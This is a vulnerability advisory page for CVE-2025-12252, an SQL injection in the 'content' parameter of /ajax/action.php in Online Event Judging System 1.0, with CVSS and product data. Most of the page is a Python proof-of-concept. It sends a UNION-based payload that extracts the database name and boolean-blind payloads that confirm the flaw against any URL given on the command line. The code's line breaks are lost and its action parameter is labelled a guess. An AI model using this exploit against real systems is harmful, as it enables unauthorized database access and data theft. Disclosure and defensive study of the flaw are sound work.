Security Vulnerability Report
中文
CVE-2025-12252 CVSS 6.3 MEDIUM

CVE-2025-12252

Published: 2025-10-27 09:15:37
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was found in code-projects Online Event Judging System 1.0. Affected is an unknown function of the file /ajax/action.php. The manipulation of the argument content results in sql injection. The attack can be launched remotely. The exploit has been made public and could be used.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:carmelo:online_event_judging_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Online Event Judging System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12252 SQL Injection PoC # Target: Online Event Judging System 1.0 # File: /ajax/action.php # Parameter: content def exploit_sqli(target_url, payload): """ SQL Injection exploitation function Extract database name as demonstration """ # Prepare the malicious request endpoint = f"{target_url}/ajax/action.php" # SQL injection payload for database enumeration # Using UNION-based injection technique data = { 'content': f"' UNION SELECT NULL,database(),NULL,NULL-- -", 'action': 'judge_event' # Example action parameter } try: response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def blind_sqli_check(target_url): """ Boolean-based blind SQL injection check Verify vulnerability existence """ endpoint = f"{target_url}/ajax/action.php" # True condition - should return expected result true_payload = "' AND 1=1-- -" # False condition - should return different result false_payload = "' AND 1=2-- -" data_true = {'content': true_payload, 'action': 'judge_event'} data_false = {'content': false_payload, 'action': 'judge_event'} try: resp_true = requests.post(endpoint, data=data_true, timeout=10) resp_false = requests.post(endpoint, data=data_false, timeout=10) if resp_true.text != resp_false.text: print("[+] Blind SQL Injection confirmed!") return True else: print("[-] No SQL injection detected") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12252.py <target_url>") print("Example: python cve-2025-12252.py http://192.168.1.100/event-judging") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Testing CVE-2025-12252 on {target}") print("[*] Checking for SQL Injection vulnerability...") blind_sqli_check(target)

References

Raw JSON Data

JSON
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